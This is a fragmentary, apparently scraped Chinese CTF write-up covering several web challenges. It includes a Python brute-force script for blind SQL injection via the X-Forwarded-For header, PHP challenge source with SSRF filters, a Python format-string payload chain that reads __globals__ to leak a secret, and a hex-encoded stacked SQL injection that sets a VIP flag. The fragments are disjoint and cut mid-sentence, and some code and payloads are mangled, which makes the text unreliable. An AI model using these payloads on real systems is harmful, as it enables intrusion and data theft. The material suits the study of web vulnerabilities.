result = '' headers = {'X-Forwarded-For':''} for i in range(1,999): for j in range(33,128): headers['X-Forwarded-For'] = xff.format(payload.format(i,j)) res = requests.get(url,headers=headers) if'<code>welcome'in res.text: result += chr(j) print(result) break if j==127: print('finish')
<?php error_reporting(0); if(isset($_GET['head'])&&isset($_GET['url'])){ $begin = "The number you want: "; extract($_GET); if($head=='') { die('Where is you head?');
} if(preg_match('/log/i',$url)){ die('No No No'); } if(preg_match('/[A-Za-z0-9]/i',$head)){ die('Head can\'t be like this!'); } if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){ die('Don\'t use strange protocol!'); } $funcname = $head.'curl_init';
Welcome to our FMKQ api, you could use the help information below To read file: /read/file=example&vipcode=example if you are not vip,let vipcode=0,and you can only read /tmp/{file} Other functions only for the vip!!!
"I am {MyName},he is {HisName}".format(MyName="aa",HisName="bb")
这个语句的输出是I am aa,he is bb,这种语句可以在format函数的参数通过key来赋值。
1
"I am {},he is {}".format("a","b")
这个语句的输出是I am a,he is b,这样的用法会让大括号与format的参数一一对应。
当大括号与format的参数不能一一对应的时候便会报错,例如:
1 2
"I am {0},he is also {0}".format('a') "I am {0},he is also {1}".format('a')
前者会输出I am a,he is also a,而后者会报错tuple index out of range。
这些format函数的基本用法并不是导致格式化字符串漏洞的根源,查看下列代码:
1
"first {0[1]}, second {0}".format(['a','b'])
输出为first b, second ['a', 'b'],可见当format函数的参数是一个列表时,可以通过用方括号添加索引的方式来获取列表的值。同样的,这种用法也可以用在类的属性上,比如以下代码会输出字符串a的内置属性__class__:
1
print("{0.__class__}".format('a'))
输出结果是<class 'str'>
一般利用
python的格式化字符串的利用与沙盒逃逸或者python SSTI很相似,但format与后两者的区别在于它只能读取属性而不能执行方法,这就限制了格式化字符串的利用与攻击链的构造。举个例子,python SSTI中可以通过'a'.__class__.__base__.__subclasses__()[12]来获取任意类,但是由于format函数无法执行__subclasses__()这样的方法,直接把这种payload套进格式化字符串的利用中会报错type object 'object' has no attribute '__subclasses__()'。
deftest(): s = input("test\n") t = s + " by the way {0}" print(t.format(AppendStr()))
while(1): test()
可以看到这里format函数的参数是一个对象的实例,而secret保存在全局变量中。熟悉SSTI或者沙箱绕过的都知道,python的函数类有一个内置属性__globals__可以以字典的形式返回函数所在的全局命名空间所定义的全局变量。结合format函数的格式化字符串可以读取成员属性的特性,我们很容易知道只需通过一个调用链来获取一个函数类并读取它的__globals_属性即可。这里我们可以使用这样的payload:`{0._class.init.globals}。由于AppendStr类定义了\_\_init\_\_函数,所以可以通过{0.class.init}来获取一个函数类<function AppendStr.init at 0x0000019C611D2730>`,再读取这个类的__globals__属性来获取secret。这个思路也适用于一切的类的成员函数,假如把测试代码改为如下:
1 2 3 4 5 6 7
deftest(): s = input("test\n") t = s + " by the way {0}" print(t.format('test'))
while(1): test()
如果机械地套用上边的payload会报错'wrapper_descriptor' object has no attribute '__globals__'。可以通过以下代码来查看字符串类的成员属性:
这个Options类实例化的对象的app_config属性返回会返回一个对象,而这个对象的module属性是python的一个模块即module。而对于我的测试代码这种情景,module的内容为<module 'django.contrib.auth' from 'C:\\python37\\lib\\site-packages\\django\\contrib\\auth\\__init__.py'>。查看该模块的代码,可以在文件django/contrib/auth/admin.py中看到
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){ foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){ $row = $v; } if($_SESSION['id'] == $row['userid']){ $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';"); exit("<script>alert('Edited successfully.');location.href='index.php';</script>"); }else{ exit("<script>alert('You do not have permission.');history.go(-1);</script>"); } }
在config.php里可以看到执行sql语句用的是PDO
1
$sql = new PDO("mysql:host=localhost;dbname=babyblog", 'CTF2019', '*************') ordie("SQL Server Down T.T");
对于PDO模式,控制多句执行的PDO::MYSQL_ATTR_MULTI_STATEMENTS设置项是默认开启的,所以可以利用这个二次注入进行堆叠注入来把我们的账户改为vip账户。由于SafeFilter函数把update过滤掉了,这里可以使用预编译进行绕过。PDO模式下控制预编译的PDO::ATTR_EMULATE_PREPARES设置项也是默认开启的,所以这里先把title设置为';SeT@x=0x757064617465207573657273207365742069737669703D3120776865726520757365726E616D653D2731323327;prepare a from @x;execute a;#,通过把字符串转换为16进制的方式来绕过过滤。再进行一次编辑就可以触发堆叠注入使得账号变为vip并可以访问replace.php。在replace.php里看到